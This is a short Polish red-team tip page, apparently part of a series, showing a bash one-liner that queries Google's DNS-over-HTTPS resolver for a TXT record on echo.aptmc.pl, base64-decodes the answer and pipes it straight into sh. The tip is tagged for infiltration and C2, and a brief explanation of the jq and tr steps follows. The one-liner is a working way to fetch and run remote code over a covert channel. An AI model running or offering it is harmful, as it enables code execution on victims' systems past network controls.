Payload DNS-over-HTTPS dla *nixów
tty1 · bash
$ curl -ks "https://dns.google/resolve?name=echo.aptmc.pl&type=txt"|jq '.Answer[0].data'|tr -d '"\'|base64 -d|sh
#Bash#RedTeam#DNS#Unix#Infil#C2
W /pl/001e uruchamialiśmy payload dla Unix/Linux/MacOS po DNSie. W /pl/0020 po DNS-over-HTTPS. W tym Protipie wersja dla *nixów.
To na co warto zwrócić uwagę w tym onelinerze, to wykorzystanie jq do przetwarzania JSONa. Przydaje się również do ładnego oglądania JSONów:
tr -d '"\' usunie nam z kolei niepotrzebne nam znaki " oraz .